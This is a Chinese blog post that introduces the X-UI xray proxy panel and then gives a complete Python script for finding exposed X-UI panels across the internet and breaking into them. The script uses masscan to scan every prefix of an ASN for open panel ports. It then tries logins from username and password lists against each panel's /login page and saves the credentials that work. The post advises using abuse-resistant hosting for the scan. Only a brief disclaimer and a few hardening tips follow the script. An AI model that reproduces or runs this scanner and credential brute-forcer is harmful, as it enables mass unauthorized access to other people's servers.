X-UI 是什么?

X-UI 是一个支持多协议、多用户的 xray 面板。除了基础的协议部署之外,还附带了流量统计、限制流量、限制到期时间等功能。

用一个比喻来说:过去部署单个协议,就像是自己做了一个独立的网店。而 X-UI 就像是直接开了一个网点平台,囊括了特色各异的网店一样。

X-UI 的 特色

在 GitHub 上已近罗列了很多,我这里就不多写了,直接复制粘贴:

  • 系统状态监控

  • 支持多用户多协议,网页可视化操作

  • 支持的协议:vmess、vless、trojan、shadowsocks、dokodemo-door、socks、http

  • 支持配置更多传输配置

  • 流量统计,限制流量,限制到期时间

  • 可自定义 xray 配置模板

  • 支持 https 访问面板(自备域名 + ssl 证书)

  • 支持一键 SSL 证书申请且自动续签

  • 更多高级配置项,详见面板

我个人觉得最突出的就是打包了多协议,同时支持多用户可视化操作功能。详情可以看这个(https://github.com/vaxilu/x-ui

突发奇想 扫描弱密码的 X-ui 面板

基本思路

  1. 首先,找一台能够发包的机器,带宽 500Mbps 就够,最好抗投诉 (比如Buyvm或者Warp)

  2. 利用扫描工具找出 54321 端口开放的IP

  3. 脚本发送 Post admin 帐密到 54321 端口,返回成功便记录

import requests
import os
from concurrent.futures import ThreadPoolExecutor, as_completed
import subprocess
import time
from tqdm import tqdm
from multiprocessing import cpu_count
import itertools
# 检 查 并 安 装 Masscan和 Libpcap函 数
def install_masscan():
    print("开 始 执 行  install_masscan(), 检 查 并 安 装  Masscan 和  libpcap-dev")
    def is_installed(package_name):
        try:
            subprocess.run(['dpkg', '-s', package_name], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            return True
        except subprocess.CalledProcessError:
            return False
    if not is_installed('masscan'):
        print("Masscan 未 安 装 。 正 在 安 装  Masscan...")        os.system('apt update && apt install -y masscan')
    else:
        print("Masscan 已 经 安 装 。 ")
    if not is_installed('libpcap-dev'):
        print("libpcap-dev 未 安 装 。 正 在 安 装  libpcap-dev...")
        os.system('apt update && apt install -y libpcap-dev')
    else:
        print("libpcap-dev 已 经 安 装 。 ")
# 检 查 所 需 文 件 是 否 存 在 函 数
def check_required_files():
    print("开 始 执 行  check_required_files(), 检 查 所 需
文 件 是 否 存 在 ")
    required_files = ['user.txt', 'pass.txt', 'ports.txt']
    for file in required_files:
        if not os.path.exists(file):
            print(f"错 误 : 未 找 到  {file} 文 件 。 ")
            return False
    return True
# 获 取 指 定 ASN的 掩 码 函 数
def get_prefixes(asn):
    print(f"开 始 执 行  get_prefixes(), 获 取 ASN {asn} 的掩 码 ")
    url = f'https://bgp.he.net/super-lg/report/api/v1/prefixes/originated/{asn}'
    response = requests.get(url)
    if response.status_code == 200:
        data = response.json()
        # 过 滤 掉 IPv6的 前 缀 , 只 保 留 IPv4的 前 缀
        ipv4_prefixes = [item['Prefix'] for item in
data['prefixes'] if ':' not in item['Prefix']]
        return ipv4_prefixes
    else:
        print(f"获 取 ASN {asn} 的 数 据 失 败 ")
        return []
# 保 存 前 缀 到 文 件 函 数
def save_prefixes_to_file(prefixes, filename):
    print(f"开 始 执 行  save_prefixes_to_file(), 保 存 前
缀 到  {filename}")
    try:
        with open(filename, 'w') as file:  # 使 用 'w'模 式 以 清 空 并 重 新 写 入 文 件
            for prefix in prefixes:
                file.write(prefix + '\n')
    except IOError as e:
        print(f"写 入  {filename} 时 出 错 : {e}")
        exit(1)
# 运 行 Masscan函 数
def run_masscan():
    print("开 始 执 行  run_masscan(), 运 行 端 口 扫 描 ")
    try:
        with open("ports.txt", "r") as file:
            ports = ','.join([line.strip() for line
in file])
        os.system(f'masscan --exclude 255.255.255.255 -p{ports} --max-rate 102400000 -oG results.txt -iL prefixes.txt')
    except Exception as e:
        print(f"运 行  masscan 时 出 错 : {e}")
        exit(1)
# 检 查 URL是 否 可 访 问 函 数
def check_url(session, url):
    try:
        response = session.get(url, timeout=3)
        return response.status_code == 200
    except requests.RequestException:
        return False
# 尝 试 登 录 函 数
def try_login(session, ip, port, users, passwords):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/58.0.3029.110 Safari/537.3'
    }
    url_base = f"http://{ip}:{port}/login"
    for username, password in itertools.product(users, passwords):
        data = {
            'username': username.strip(),
            'password': password.strip()
        }
        try:
            r = session.post(url_base, data=data, headers=headers, timeout=3)
            if r.status_code == 200:
                try:
                    response_data = r.json()
                    if response_data.get("success"):                        save_successful_ip(ip, port, username, password)
                        print(f"登 录 成 功 : http://{ip}:{port} 用 户 名 : {username} 密 码 : {password}")
                        return True
                except ValueError:
                    pass
        except requests.RequestException:
            pass
    return False
def process_ip(ip, ports, users, passwords, progress_bar):
    with requests.Session() as session:
        try:
            for port in ports:
                url_http = f"http://{ip}:{port}"
                if check_url(session, url_http):
                    if try_login(session, ip, port,
users, passwords):
                        break
        except Exception as e:
            print(f"处 理 IP {ip} 时 出 错 : {e}")
        progress_bar.update(1)  # 更 新 进 度 条
# 保 存 成 功 登 录 地 址 和 凭 证 到 文 件 函 数
def save_successful_ip(ip, port, username, password):
    try:
        with open("xui.txt", "a") as result:
            result.write(f"http://{ip}:{port} ,{username},{password}\n")
    except IOError as e:
        print(f"写 入  xui.txt 时 出 错 : {e}")
# 主 函 数
def main():
    start_time = time.time()
    print("开 始 执 行  main(), 启 动 整 个 流 程 ")
    install_masscan()  # 先 安 装 必 要 的 工 具
    if not check_required_files():  # 检 查 所 需 文 件
        return
    print("请 选 择 操 作 : ")
    print("1. 输 入 ASN或 IP前 缀 并 开 始 全 流 程 ")
    print("2. 使 用 现 有 的 prefixes.txt文 件 并 开 始 扫 描 ")    print("3. 使 用 现 有 的 results.txt文 件 并 尝 试 登 录 ")
    choice = input("请 输 入 选 择 ( 1/2/3, 默 认 为 1) : ") or '1'
    if choice == '1':
        user_input = input("请 输 入 ASN( 例 如 12345) 或
IP前 缀 ( 用 逗 号 分 隔 , 例 如 192.168.1.0/24) : ")
        if user_input.strip():
            open('prefixes.txt', 'w').close()
            if user_input.isdigit():
                asn = user_input
                prefixes = get_prefixes(asn)
                if not prefixes:
                    print(f"未 找 到 ASN {asn} 的 前 缀 。
")
                    return
                save_prefixes_to_file(prefixes, 'prefixes.txt')
            else:
                prefixes = user_input.split(',')
                save_prefixes_to_file(prefixes, 'prefixes.txt')
        else:
            print("错 误 : 未 输 入 有 效 的 ASN或 IP前 缀 。 ")            return
        run_masscan()
    elif choice == '2':
        if os.path.exists('prefixes.txt') and os.path.getsize('prefixes.txt') > 0:
            run_masscan()
        else:
            print("错 误 : prefixes.txt 文 件 为 空 或 不 存
在 。 ")
            return
    elif choice == '3':
        if not os.path.exists('results.txt') or os.path.getsize('results.txt') == 0:
            print("错 误 : results.txt 文 件 为 空 或 不 存 在。 ")
            return
    else:
        print("无 效 选 择 。 ")
        return
    try:
        with open("results.txt", "r") as file:
            ips = [line.split("Host: ")[1].split(" ")[0] for line in file if "Host: " in line]
    except IOError as e:
        print(f"读 取  results.txt 时 出 错 : {e}")
        return
    with open("ports.txt", "r") as file:
        ports = [line.strip() for line in file]
    with open('user.txt', 'r') as user_file, open('pass.txt', 'r') as pass_file:
        users = user_file.readlines()
        passwords = pass_file.readlines()
    print("开 始 尝 试 登 录 扫 描 到 的 IP")
    core_multiplier = 1
    max_threads = cpu_count() * int(core_multiplier)  # 使 用 CPU核 心 数 的 倍 数 作 为 最 大 线 程 数
    with ThreadPoolExecutor(max_workers=max_threads) as executor:
        with tqdm(total=len(ips)) as progress_bar:
# 初 始 化 进 度 条
            futures = {executor.submit(process_ip, ip, ports, users, passwords, progress_bar): ip for ip in ips}
            for future in as_completed(futures):
                future.result()  # 确 保 所 有 任 务 完 成
    if os.path.exists("xui.txt") and os.path.getsize("xui.txt") > 0:
        print("流 程 完 成 , 已 找 到 成 功 登 录 的 IP, 详 情 如 下: ")
        with open("xui.txt", "r") as file:
            for line in file:
                print(line.strip())
        print("您 可 以 查 看  xui.txt 文 件 以 获 取 更 多 详 细
信 息 。 ")
    else:
        print("xui.txt 中 未 找 到 成 功 登 录 的 记 录 。 ")
    end_time = time.time()
    print(f"总 执 行 时 间 : {end_time - start_time:.2f}秒")
if __name__ == "__main__":
    main()

保存为 xui.py 并运行

稍等片刻就可以从终端或者xui.txt 获取到xui面板地址/賬號/密碼

后记

请勿将本文教程用于非法扫描及爆破,由于使用者自身意愿导致的财产损失我们不负责!

请将你的 X-ui 面板做好防护!

  • 使用第三方 X-ui 修改版

  • 开启安全入口

  • 设置 Https

  • 设置强帐密